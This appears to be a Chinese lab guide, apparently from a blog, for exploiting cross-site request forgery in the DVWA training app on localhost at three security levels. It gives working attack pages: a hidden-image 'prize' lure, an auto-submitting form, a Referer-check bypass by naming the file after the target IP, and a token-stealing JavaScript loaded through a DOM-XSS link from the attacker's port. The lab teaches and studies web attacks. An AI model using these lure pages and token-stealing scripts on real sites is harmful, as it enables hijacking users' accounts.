DVWA跨站请求伪造漏洞检测实验

一、实验目的

  1. 掌握跨站请求伪造漏洞的形成的原因或者条件;

  2. 掌握跨站请求伪造漏洞的的利用方法;

  3. 掌握跨站请求伪造漏洞的防范方法。

二、实验原理

CSRF 是攻击者利用用户的名义进行某些非法操作,其是在用户已经与具有 CSRF 漏洞的 WEB 服务器已经建立了会话,在不知情的情况下点击了诈骗的链 接,而 WEB 应用程序没有对用户提交的请求进行验证,导致执行了非法操作。

三、实验环境(同机模拟双机)

1. 受害站(DVWA)

软件:phpstudy2018

地址示例:http://127.0.0.1/dvwa/

2. 攻击站(恶意页面)

软件:phpstudy_pro

地址示例:http://127.0.0.1:8888/

核心思想:虽然是同一台机器,但端口不同,浏览器会把它们视为不同源:

127.0.0.1 → 受害站

127.0.0.1:8888 → 攻击站

四、实验前准备

1. 配置 phpstudy2018(受害站)

启动 phpstudy2018服务,将DVWA 解压到 phpstudy2018 网站根目录D:\phpStudy\PHPTutorial\WWW\dvwa,并安装。

2. 配置 phpstudy_pro(攻击站)

启动 phpstudy_pro,启动 Web 服务。

3. 验证两个站点都能访问

启动Burpsuite,访问两个站点,如果都能正常打开,说明环境可用。

受害站访问:http://127.0.0.1/dvwa/

攻击站访问:http://127.0.0.1:8888/

五、Low 级别 CSRF 实验

1. 设置 DVWA 为 Low

登录 DVWA 后,点击左侧:DVWA Security

把安全级别改成:Low,提交保存。

2. 观察正常修改密码请求

进入:CSRF

在页面中输入新密码,并再次确认输入,例:

• New Password: 123456

• Confirm New Password: 123456

点击 Change,观察地址栏显示:

http://127.0.0.1:8081/dvwa/vulnerabilities/csrf/?password_new=123456\&password_conf=123456\&Change=Change

这说明:

• 修改密码使用 GET 请求

• 参数名是:

o password_new

o password_conf

o Change

Low 级别下没有额外防护。

单击Test Credentials,进入密码验证页面

输入用户名admin和修改后的密码测试:

3. 构造 Low 攻击页面

启动vscode,在攻击站根目录www 中创建:low.html

内容如下:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>领奖页面</title>

</head>

<body>

<h2>恭喜你中奖了!</h2>

<p>页面加载中,请稍候......</p>

<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=**lowpass** &password_conf=lowpass &Change=Change" style="display:none;">

</body>

</html>

提交截图,截图包含vscode中的文档目录和代码内容,并对实验结果进行分析。

  1. 项目目录:www站点根目录下存在low.html,和 DVWA 项目同级,攻击文件部署在攻击站点网站目录;
  2. 代码实现:利用隐藏<img>标签,src属性直接拼接完整改密 GET 接口,display:none;实现页面不可见、后台静默发送请求,页面展示中奖诱导文案欺骗用户访问。

4. 触发攻击

确保当前浏览器里仍然保持 DVWA 登录状态,然后访问攻击页:

http://127.0.0.1:8888/low.html

页面加载时,img 会自动向 DVWA 发起请求。

浏览器会自动附带 DVWA 的 Cookie,所以服务器会认为这是登录用户本人发起的操作。

5. 验证结果

单击Test Credentials,进入密码验证页面,输入用户名admin,密码lowpass

若显示Valid password for 'admin' **,**说明 Low 级别漏洞复现成功。

若显示**Wrong password for 'admin',**说明攻击无效,可更换payload:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<meta name="referrer" content="unsafe-url">

<title> 系统消息</title>

</head>

<body>

<h3> 正在进行安全检测...</h3>

<form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">

<input type="hidden" name="password_new" value=" lowpass ">

<input type="hidden" name="password_conf" value=" lowpass ">

<input type="hidden" name="Change" value="Change">

</form>

<script>

document.getElementById('csrfForm').submit();

</script>

</body>

</html>

再次测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

一、Low 级别实验结果分析

  1. 实验现象

攻击页面使用 img 标签或自动提交表单访问改密接口,保持 DVWA 登录状态访问127.0.0.1:8888/low.html后,admin 账户密码成功修改为lowpass,密码校验页面验证通过;Burp 抓包可见跨域请求自动携带 DVWA 会话 Cookie。

六、Medium 级别 CSRF 实验

1. 设置 DVWA 为 Medium

回到:DVWA Security,把安全级别设为:Medium保存。

2. Medium 级别的防护特点

Medium 一般会增加对 Referer 的简单检查。

它的逻辑常见形式是:

if (stripos(_SERVER\['HTTP_REFERER'\], _SERVER'SERVER_NAME') !== false)

3.构造 Medium 攻击页面

创建medium.html

内容如下:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<meta name="referrer" content="unsafe-url">

<title> 系统消息</title>

</head>

<body>

<h3> 正在进行安全检测...</h3>

<form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">

<input type="hidden" name="password_new" value=" mediumpass ">

<input type="hidden" name="password_conf" value=" mediumpass ">

<input type="hidden" name="Change" value="Change">

</form>

<script>

document.getElementById('csrfForm').submit();

</script>

</body>

</html>

4. 触发 Medium 攻击

保持 DVWA 登录状态,访问:http://127.0.0.1:8888/medium.html

若 DVWA 的 Medium 仅做弱 Referer 检查,则该请求很可能成功。

5. 验证结果

单击Test Credentials,进入密码验证页面,输入用户名admin,密码mediumpass

测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

第一次实验结果分析(直接 medium.html 访问成功原因)

  1. 防护机制缺陷

DVWA-Medium 仅用stripos做子串模糊匹配,只校验 Referer 里是否存在站点 IP 字符串,不校验端口、完整域名路径。

  1. 页面 meta 标签作用:<meta name="referrer" content="unsafe-url">,保证浏览器完整携带 Referer 来源地址,Referer 正常带出攻击页全链接,没有丢失 IP 字段,是攻击成功的辅助条件。
  2. 实验结论:Medium 的 Referer 子串校验方案天然存在漏洞,同 IP、不同端口的 CSRF 请求可直接绕过防护,初次访问即可完成密码篡改。

修改攻击地址为:本机ip:8888/medium.html,再次测试,查看是否成功。

若不成功,则将medium.html文件名修改为127.0.0.1.html。再次测试。

再次测试,成功后提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

第二次实验结果分析(修改文件名 127.0.0.1.html)

  1. 现象:将文件名改为127.0.0.1.html,Referer 变为http://127.0.0.1:8888/127.0.0.1.html,Referer 内重复出现目标 IP 字符串,同样满足stripos匹配,攻击依旧成功。
  2. 对比总结:
  • 第一次成功:根源是同 IP 跨端口 + 模糊匹配校验,Referer 自带目标 IP 字段;
  • 第二次是另一种绕过思路:文件名写入目标 IP,即使跨网段 / 跨 IP 环境,也能让 Referer 包含目标 IP 实现绕过。

七、High 级别 CSRF 实验

1. 受害机中设置 DVWA 为 High

进入:DVWA Security,设置为:High,保存。

2. 观察 High 页面差异

进入 CSRF 页面后,查看源码或用开发者工具检查表单。

通常可以看到一个隐藏字段:

<input type="hidden" name="user_token" value="xxxxxxxxxxxxxxxx">

这说明 High 已引入 CSRF Token 防护。

3. 结合 XSS 读取 Token

Token 防御使得纯 CSRF 无法直接利用。需要配合同域 XSS 漏洞,若攻击者能在 DVWA 同域下执行 JavaScript,就可以请求 CSRF 页面、读取页面中的 user_token、携带 Token 发起修改密码请求。

在攻击机根目录创建csrf.js文件,内容为:

// 第一步:获取 CSRF 页面,从中提取 user_token

var xhr1 = new XMLHttpRequest();

xhr1.onreadystatechange = function() {

if (xhr1.readyState == 4 && xhr1.status == 200) {

// 解析 HTML,提取 token

var parser = new DOMParser();

var doc = parser.parseFromString(xhr1.responseText, "text/html");

var token = doc.getElementsByName("user_token")0.value;

// 第二步:携带 token 发起修改密码请求

var url = "http://127.0.0.1/dvwa/vulnerabilities/csrf/"

+ "?password_new= csrf123 &password_conf= csrf123 "

+ "&Change=Change&user_token=" + token;

var xhr2 = new XMLHttpRequest();

xhr2.open("GET", url, true);

xhr2.withCredentials = true;

xhr2.send();

}

};

xhr1.open("GET", "http://127.0.0.1/dvwa/vulnerabilities/csrf/", true);

xhr1.withCredentials = true;

xhr1.send();

在受害机中进入xss(DOM),在地址栏中生成攻击链接,并提交:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=\<script src="http://127.0.0.1:8888/csrf.js"></script>

4. 验证结果

在受害机中进入CSRF,单击Test Credentials,进入密码验证页面,输入用户名admin,密码csrf123

如果成功,说明 High 级绕过成功。

测试,提交Burpsuite中修改密码的请求截图,并对实验结果进行分析。

三、High 级别实验结果分析

  1. 实验现象分析

单独使用 Low/Medium 的 CSRF 页面无法修改密码;利用 DOM-XSS 引入远程csrf.js脚本,JS 在 DVWA 同域环境运行,自动抓取页面user_token并拼接参数提交,密码成功修改为csrf123。Burp 数据包中改密请求携带合法随机 token 与会话 Cookie。

相关推荐
m0_5474866611 小时前
《信息安全基础》全套PPT课件2026
网络安全·信息安全
m0_7156744313 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
大数据·网络·人工智能·网络安全
白帽攻防录21 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的1 天前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop1 天前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全2 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴2 天前
【APP安全测试】Frida 基础
网络安全
科技象限2 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd2 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全